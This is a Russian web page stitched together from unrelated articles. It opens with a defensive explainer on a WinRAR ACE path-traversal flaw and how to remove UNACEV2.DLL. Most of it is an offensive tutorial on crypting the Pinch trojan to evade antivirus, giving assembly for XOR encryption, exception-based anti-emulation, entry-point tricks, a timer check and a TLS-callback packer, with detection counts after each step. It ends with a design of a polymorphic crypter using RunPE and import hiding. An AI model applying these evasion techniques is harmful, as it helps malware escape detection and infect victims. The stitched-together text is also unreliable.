Как закриптовать вирус через winrar

Обновлено: 03.07.2024

Уязвимость в WinRAR позволяет злоумышленникам получить контроль над вашим компьютером, если вы распакуете зловредный архив.

Про то, что не стоит запускать первые попавшиеся EXE-файлы, известно многим. Некоторые даже в курсе, что вредоносное ПО может таиться и в документах MS Office, а значит, к ним тоже стоит относиться с осторожностью. Но чем может грозить распаковка обычного архива WinRAR? Как выяснилось, много чем.

На свете 500 миллионов пользователей WinRAR. И все они – идеальная цель для взломщиков, если, конечно, не успели обновить архиватор. Недавно выяснилось, что в версиях WinRAR, выпущенных за последние 19 лет (кроме самых последних), есть критическая уязвимость, используя которую, киберпреступники могут попасть в вашу систему. Сейчас уже известно более 100 способов ее эксплуатации — и это число продолжает расти.

Как работает 19-летняя уязвимость WinRAR

Баг позволяет злоумышленникам создать вредоносный RAR-архив. Стоит пользователю распаковать его, и зараженный исполняемый файл незаметно извлечется в папку автозагрузки. Во время следующей перезагрузки системы он автоматически запустится и – заразит компьютер жертвы тем, чем его начинили создатели.

Чтобы усыпить нашу бдительность, преступники дают EXE-файлам самые безобидные названия, например GoogleUpdate.exe.

Само собой, вредоносные архивы и электронные письма с ними оформлены так, чтобы жертва распаковала зловред как можно охотнее. Кибержулики используют самые разные приманки: подписывают вложение как фото для взрослых, предлагают очень интересную вакансию, иногда даже предупреждают о риске террористической атаки. Бывает, что злоумышленники отправляют вам какие-то якобы технические документы или информируют о недавних изменениях в местном законодательстве. Некоторые даже предлагают скачать пиратскую копию популярного альбома, например последние хиты Арианы Гранде.

В общем, все делается для того, чтобы большинство получателей не заподозрили дурного и распаковали архив без задней мысли.

Что происходит после эксплуатации уязвимости

В архиве может оказаться любая из вредоносных программ, которыми кишит Интернет: шифровальщик, банковский троян или какое-нибудь средство удаленного доступа, позволяющее делать снимки экрана, скачивать файлы с устройства жертвы или, наоборот, загружать их туда.

WinRAR – популярная программа для создания и извлечения архивов в Windows и других поддерживаемых операционных системах. Причина высокой популярности лежит в поддержке широкого спектра различных форматов архивов и в том, что срок действия пробной версии никогда не истекает.

Уязвимость обнаружена исследователями безопасности в библиотеке, которую WinRAR использует для извлечения файлов из архивов формата ACE. Для эксплуатации ошибки необходимо разместить на компьютере жертвы специально подготовленный архив. Ошибка позволяет извлечь содержимое архива в любую папку в системе вместо папки, выбранной пользователем или папки по умолчанию.

Так, например, злоумышленники могут извлечь содержимое архива в папку автозагрузки, чтобы запустить исполняемые файлы при следующей перезагрузке системы.

Исследователи опубликовали видео, демонстрирующее методику эксплуатации.

WinRAR использует содержимое файла, чтобы определить формат архива, который использовался для сжатия файлов. Таким образом, простое исключение использования файлов ACE не позволяет снизить риск эксплуатации. Злоумышленники могут переименовывать файлы ACE в RAR или ZIP, и WinRAR будет их обрабатывать.

Как обезопаситься от атак

Библиотека, ответственная за уязвимое поведение называется UNACEV2.DLL Разработчик WinRAR удалил файл библиотеки из последней бета-версии WinRAR 5.70. Пользователи могут перейти на бета-версию, чтобы защитить свои устройства от потенциальных проблем безопасности.

Установке бета-версии могут помешать групповые политики. Кроме того, некоторые домашние пользователи могут не захотеть устанавливать бета-версию программного обеспечения на свои основные системы.

Пользователи и администраторы могут вручную удалить уязвимый файл UNACEV2.DLL из папки WinRAR, чтобы защитить устройство. Рассмотрим, как это сделать:

  1. Откройте Проводник Windows.
  2. Перейдите в C:\Program Files\WinRAR, если вы используете 64-битную версию WinRAR.
  3. Перейдите в C:\Program Files (x86)\WinRAR, если вы используете 32-битную версию WinRAR.
  4. Найдите файл UNACEV2.DLL, а затем переименуйте или удалите его:
    1. для удаления выберите файл и нажмите Del или щелкните правой кнопкой мыши и выберите пункт меню “Удалить”.
    2. для переименования выберите файл, щелкните правой кнопкой мыши и выберите пункт меню “Переименовать”.

    Удалите файл UNACEV2.DLL

    Данные действия лишают возможность извлекать содержимое архивов ACE. Это не очень большая плата за безопасность, учитывая низкую популярность ACE по сравнению с ZIP или RAR.

    А вы пользуетесь WinRAR или предпочитаете другой архиватор (например, Bandizip, 7-Zip)?

    Странно осознавать, что многие люди, создающие трояны, вирусы или использующие готовые решения-генераторы, нередко обращаются к услугам создателей «приватных крипторов», нередко оказывающихся обычными поделками студентов, обладающих весьма посредственными знаниями в области вирусмейкинга, имеющих слабое представление о структуре PE-файлов. Такой продукт может стоить десятки или даже сотни долларов, но при этом не обеспечивать даже минимальной защиты от разнообразных механизмов обнаружения вредоносных программ. А ведь достаточно легко самостоятельно спрятать троян от назойливых антивирусов, даже таких известных, как NOD и Dr. Web. И совершенно бесплатно! Как? Читай ниже!

    Подготовка к исследованиям

    Прячем код

    Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

    13147C30 PUSHAD
    13147C31 MOV ECX,6C2F
    13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
    13147C3C XOR EDX,76
    13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
    13147C45 LOOPD SHORT pinch_pa.13147C36
    13147C47 POPAD
    13147C48 JMP SHORT pinch_pa.13147810

    Продолжим наш эксперимент. Попробуем использовать механизм создания собственного обработчика исключений для выполнения одного из приемов, описанных мной на страницах журнала ранее. Поскольку метод «разжеван», мы лишь адаптируем код для нашего случая, его функциональность полностью раскрывается в комментариях (если что-то все-таки осталось неясным, отправляю тебя к рубрике «Антиотладочные приемы» за октябрь 2009 года).

    13147C4B XOR EAX,EAX; обнуляем регистр
    13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
    13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
    13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
    13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
    13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
    13147C62 POP EAX; восстановление регистров
    13147C63 POP EAX
    13147C64 POP ESP
    13147C65 JMP pinch_pa.13147810; переход к выполнению программы

    Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

    Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

    Продолжаем эксперимент

    Для разминки, вставим в подопытный пинч несколько небольших кусков кода, которые «закроют глаза» нескольким антивирусам (а заодно и многим реверсерам низкой квалификации). По адресу 13147C90 я разместил криптор, аналогичный вышеописанному, который шифрует написанный нами антиотладочный код (4Ch байт, начиная с адреса 13147C30). На диске ты найдешь его код, здесь же его привести не позволяет объем статьи. Таким образом, мы скрыли от некоторых эвристических механизмов некоторые детали нашего механизма, усложнив работу необходимостью многоступенчатой распаковки.

    13147C90 - NEW OEP
    length of code 4c

    13147c30 - start of code
    13147c7c -end of code

    13147C90 60 PUSHAD
    13147C91 B9 4C000000 MOV ECX,4C
    13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
    13147C9C 83F2 54 XOR EDX,54
    13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
    13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
    13147CA7 61 POPAD
    jmp 13147c30

    Существует очень любопытный прием, который дает очень хороший эффект, вводящий в ступор некоторые отладчики и антивирусы. Имя ему – обнуление точки входа. Действительно, совсем неправдоподобной выглядит ситуация, когда PE-заголовок, располагающийся по нулевому смещению относительно ImageBase, является одновременно исполняемым кодом. Однако она более чем возможна. Открой отлаживаемый файл в WinHex и взгляни на байты данных, располагающиеся в самом начале файла: 4D 5A 00 00 (да-да, это та самая буквенная сигнатура «MZ», расположенная в начале PE-файла!). Взглянув на этот же PE-заголовок в отладчике (для этого нужно перейти по адресу 13140000h), мы увидим следующую картину:

    13140000 4D DEC EBP
    13140001 5A POP EDX
    13140002 0000 ADD BYTE PTR DS:[EAX],AL
    13140004 0100 ADD DWORD PTR DS:[EAX],EAX

    .
    13140028 0000 ADD BYTE PTR DS:[EAX],AL

    Кажется, первые две инструкции вполне безобидны и могут быть выполнены без риска «уронить» программу. К сожалению, следом за ними располагается лишь два нулевых байта, а испортить MZ-заголовок, записав межсегментный пятибайтный переход на антиотладочный код, мы не можем. Подумав с полминуты, можно найти верное решение. Взгляни на 13140028. Здесь можно найти гораздо больше пяти нулевых байт. Слон здесь вряд ли поместится, но длинный переход – вполне! Итак, действуем следующим образом: меняем нулевые байты, начиная с адреса 13140002, на следующую инструкцию:

    13140002 EB 24 JMP SHORT 13140028

    а байты, расположенные по адресу 13140028, на следующий код:

    13140028 -E9 637C0000 JMP 13147c90

    После выполненных процедур остается лишь сохранить программу, открыть ее на редактирование в LordPE и обнулить поле «EntryPoint». Итак, все работает, и еще два антивируса сдались: теперь лишь 25 из 43 находят в нашем подопытном образце опасный код.

    Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

    Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

    Lost in Time, или Dr. Web, не считающий время

    Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

    Попробуем использовать таймер в своих целях, чтобы сравнять с землей эмуляцию кода. Итак, наш план – использовать два замера времени, в промежутке между которыми будет «тикать» таймер. Впоследствии мы используем два временных штампа, чтобы вычислить разность между ними. Разность эта в дальнейшем будет нами использоваться для того, чтобы изменить логику работы защитного механизма.

    Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

    typedef struct _SYSTEMTIME WORD wYear; // Год
    WORD wMonth; // Месяц
    WORD wDayOfWeek; // День недели
    WORD wDay; // День месяца
    WORD wHour; // Часы
    WORD wMinute; // Минуты
    WORD wSecond; // Секунды
    WORD wMilliseconds; // Миллисекунды
    > SYSTEMTIME;

    Условимся, что для хранения двух структур, полученных в результате пары вызовов GetLocalTime, будем использовать области памяти, начинающиеся, соответственно, с адресов 13147D7D и 13147D94. Функция Sleep(), входящая в Kernel32, инициирует «заморозку» выполнения программы, принимая параметр, выраженный в миллисекундах, через стек. Используя эти условия, напишем следующий код:

    13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
    13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
    13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
    13147D09 CALL kernel32.Sleep; запуск таймера
    13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
    13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

    В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

    [год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

    13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

    13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

    Обрати внимание: нас интересуют только значения, соответствующие секундам. Мы заставили программу «спать» ровно 1 секунду, а это значит, что разница между двойными словами, записанными в ячейках [13147d7d+С] и [13147D94+С], не должна быть больше или меньше единицы (в абсолютном большинстве случаев). Этот факт должен помочь нам побороть эмуляторы кода, пропускающие таймеры. Но как использовать полученное значение? Мы посчитаем разницу и используем ее для вычисления адреса перехода. Если эта разница будет посчитана неверно (что означает, что код эмулируется, причем неверно), то выполнение программы полетит ко всем чертям, но это нас не волнует :). Итак, получим приблизительно следующий код:

    13147CF9 ;Код получения временных штампов (приведен выше)
    13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
    13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
    13147D23 SUB AH,AL; получаем разность значений
    13147D25 XOR EBX,EBX; обнуляем EBX
    13147D27 MOV BL,AH; перемещаем разность в EBX
    13147D29 ADD EBX,13147C29; вычисляем адрес перехода
    13147D2F JMP EBX; переходим по вычисленному адресу

    Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

    Последние штрихи

    Когда я писал статью, я заметил, что в веб-интерфейс пинча стали приходить странные однообразные отчеты. Сначала мне показалось, что эти отчеты присланы с виртуальной машины, созданной мной, но потом понял, что это не так: все они были созданы на машинах с различной конфигурацией. В конце концов я понял, что это – результат запусков на машинах экспертов, которые пользуются virustotal’ом для анализа новых угроз. Мои опасения подтвердились, когда я увидел, что количество антивирусов, распознавших в зашифрованном мной файле угрозу, увеличилось, хотя и ненамного. Тогда я решил «обернуть» вокруг защиты, созданной мной, еще один «слой»-пакер, запускаемый из TLS. Для чего? Это позволит усложнить жизнь механизмам, использующим сигнатуры. Кроме того, на месте TLS-функции может быть любой алгоритм, кодирующий произвольный участок файла, что позволяет малыми усилиями полностью изменить содержание файла, скрыв «узнаваемые» места. Мало того, использование callback-функций само по себе является достаточно неплохим средством усложнения защитного механизма.

    Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

    Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

    Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

    Приступим к созданию кода таблицы TLS-функций.

    Переходим к адресу 13147da0, выделяем 6 байт, выбираем из контекстного меню команду «Binary -> Edit». Вводим значение «13 14 7d b0 00 00». Первые 4 байта указывают на адрес callback-функции. Последние два нулевых байта указывают на окончание таблицы callback-функций.

    По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

    13147DB0 PUSHAD; сохраняем регистры в стек
    13147DB1 MOV ECX,6D2F; устанавливаем счетчик
    13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
    13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
    13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
    13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
    13147DC6 POPAD; восстанавливаем регистры
    13147DC7 RETN; возвращаемся из функции

    Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

    Последний штрих – внесение сведений о TLS-директории в PE-заголовок. Открываем LordPE и правим в таблице директорий значение TLS Address на 00005d7d (разумеется, это же можно сделать и средствами OllyDbg). Кстати, если ты хочешь отлаживать TLS, чтобы не «пролетать» мимо выполнения callback-функций, нажми в OllyDbg Alt+O и в появившемся меню выбора места, где отладчик будет останавливаться при загрузке программы, укажи «System Breakpoint» (цель этого действия ясна, ведь TLS callback’и выполняются еще до попадания на точку входа!).

    Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

    Фреймворк криптора/протектора с антиэмуляцией

    Что это за проект и зачем он нужен ?

    На самом деле много людей интересуется протекторами и вирусными технологиями. Кто-то хочет заработать, кто-то хочет повысить скилл в кодинге, кому-то просто это нравится и считается, что это своего вроде исскуство.)

    Так-как неизвестно-кто будет этим проектом пользоваться и кто прочитает эту статью, начнем с небольшего ликбеза.)

    Что-же такое крипторы, их будущее и зачем они нужны ?

    Очень нравится, что про это дело говорил Вазонез (До ухода в реал):

    Криптор (aka cryptor) — это тулза, которая предназначена для скрытия троянов, ботов и прочей нечисти от детектирования антивирусами.

    Крипторы можно разделить на 2 вида: хорошие и дерьмовые:

    Хорошие крипторы работают очень просто, быстро и надёжно, хоть и не безглючно. Они дописывают свой код (в контексте таких крипторов этот код называется стабом) в криптуемую программу и шифруют код самой программы.

    При запуске первым стартует стаб, он восстанавливает оригинальный код и программа начинает работать. Если криптор свежий (или просто хороший, об этом ниже), то закриптованная программа не будет детектироваться антивирусами.

    Чаще всего такие крипторы полиморфны — т.е. код криптора в криптуемой программе каждый раз уникален, заполнен случайными инструкциями и бессмысленными вызовами функций API. Такие крипторы достаточно долго остаются недетектируемыми в силу уникальности каждого закриптованного файла.

    Но, как говорится, на каждую хитрую жопу найдется х** с винтом — такие крипторы тоже со временем детектируются, и если автор не чистит свой продукт, то криптор перестает быть уникальным и посылается нах**.

    Другим же типом крипторов являются стабовые крипторы. Вообще только дебил будет называть это криптором, но в силу еб*** и многочисленности авторов таких творений, мы не будем отрываться от стаи.

    Итак, быдлокрипторы. Суть их работы вот в чем — есть стаб. Стаб в этом случае — это отдельная программа, к которой цепляется криптуемый файл. При запуске файл извлекается, расшифровывается и запускается.

    Думаю с этим всё понятно, каково-же будущее крипторов ?

    Антивирусы эволюционируют, появились новые технологие защиты (А именно детекты по поведению, детекты по репутации и т.д.), в частноти против крипторов появилась технология сканирования процессов, если вкратце, то антивирус либо сразу перед созданием процесса, либо через какое-то время сканирует процесс.

    Тем самым понятно, даже если обойти эмулятор антивируса и сигнатурный детект, мы попадем под детект процесса.

    Что делать ?

    Менять технологию скрытия детекта, вот следующие решения:

    Шифровать и скрывать критичные функции в коде (Например шеллы и т.д.), после расшифровки и запуска такой функции, если использовать антиэмуляцию, антивирус ничего сделать несможет.)

    Морфить код, если вкратце, это самомодификация кода на лету (Данный метод реализован в этом крипторе).

    3.Первые два способа, это если у вас есть исходник, что-же делать если исходника нет. Неужели крипторы умерли ?

    Честно я так и думал, до недавнего времени, но это несовсем так:

    Во первых если у вас есть даже зверек без детекта, его неплохо-бы скрыть от реверсера, к тому-же почти все детектится сейчас автоматикой, в таком случае в большинстве случаев робот задетектит сам криптор, по хешу, или не по хешу, но чем сложнее будет реверсеру, тем больше вероятность, что сам троянчик будет дольше жить.

    Во вторых не все антивирусы детектят код в памяти, например виндовый дефендер как-то криво с этим работает.

    Некоторые антивирусы дают запустить процесс на пару секунд, а этого и может хватит кстати.)))

    С лекбезом закончили, на форуме есть темы для глубокого изучения вопроса:

    Теперь про конкретный проект, что он делает:

    Думал я что-бы такое сделать, просто стабовые крипторы, как описано выше смысла делать нет, через какое-то время будет детект стаба и смысл ?

    Поэтому решил я сделать проект, где-бы сам криптованный зверек размещался-бы в дата-секции, т.е. есть программа (я назвал её shell_gen), которая из бинарного файла, делает пошифрованный массив байт и в общем-то больше ничего не делает.)

    Далее уже второй проект (Сам криптор), работает с этим массивом данных, т.е. расшифровывает этот массив, делает антиэмуляцию, запускает.

    Для достижения метаморфизма, shell_gen генерирует заголовочный файл, со следующими дефайнами:

    На основе этих значений при сборки, генерируется "мусорный код" (Математичесие операции и т.д.), который будет случайным, после каждого вызова shell_gen и сборки.

    Тем самым код будет разный, как по коду, так и по данным.

    Сам криптор (x86_pe_cryptor) имеет модульную структуру:

    1)modules/lazy_importer/

    Модуль скрытия API из таблицы импорта. Пример использования:

    auto base = reinterpret_caststd::uintptr_t(LI_FIND(LoadLibraryA)(kernel32));

    LI_GET(base, VirtualFree)(pFile, 0, MEM_RELEASE);

    2)modules/murmurhash/

    Реализация вычисления хеша murmurhash на ассемблере (FASM, приложен к проекту).

    3)modules/trash_gen_module/

    4)modules/xtea/

    Реализация алгоритма шифрование xtea на ассемблере (FASM, приложен к проекту).

    5)modules/run_pe/

    Реализация функции запуска, расшифрованного массива PE-файла в памяти, путем создания процесса.

    6)modules/antiemul/

    7)modules/metamorph_code/

    Функции метаморфинга. Смысл, что при сборки, генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp.

    8)modules/simple_mutate_pe/

    Функции мутации PE перед запуском.

    Характеристики получившегося криптора:

    1)Отстутствуют "опасные API" в таблице импорта (Такие-как CreateProcess и т.д.).

    2)Имеет антиэмуляцию, направленную на привышение лимитов эмулятора антивирусов:

    Выделение памяти 32 мегабайт, копирование туда нашего зверька, потом подсчет хеша этого куска памяти, шифровка/расшифровка этого куска памяти, в качестве ключа наш хеш.Эта-же память используется для размещения запуска зверька.

    Получение ключа для расшифровки, следующим образом:

    Генерируется массив случаных чисел от 0 до 9, далее генерируется хеш этих чисел, хеш генерируется на основе числа, сгенерированного при создании зашифрованного массива защищаемого файла. Далее сортируется массив от 0 до 9, т.е. в итоге у нас получается хеши от числел 0-9. Отсортированные по порядку, это и будет ключ. В момент генерации ключа, также в случайном порядке генерируется мусор из случайных инструкций и вызовов API.

    • Все строки зашифрованы, перед расшифровкой строк,происходит задержка 1 секунду, далее по меткам времени происходит вычисление, действительно-ли была задержка секунду. Если да, то на основе этого вычисляется размер ключа:size_key = (mesure2.wSecond - mesure1.wSecond) + 3. Если sleep был пропущен, то размер ключа будет неверный и расшифровка будет неправильна.

    3)При сборки, в main и в модулях:modules/run_pe/, modules/trash_gen_module/ генерируются функции в случайном порядке, функции берутся в modules/metamorph_code/morph.cpp (На данный момент там функции арифметических операций). Тем самым достигается полиморфность не только данных, но и кода каждого образца.)))

    4)Перед запуском происходит мутация запускаемого PE, что позволяет обойти детект в памяти у некоторых антивирусов.

    Читайте также: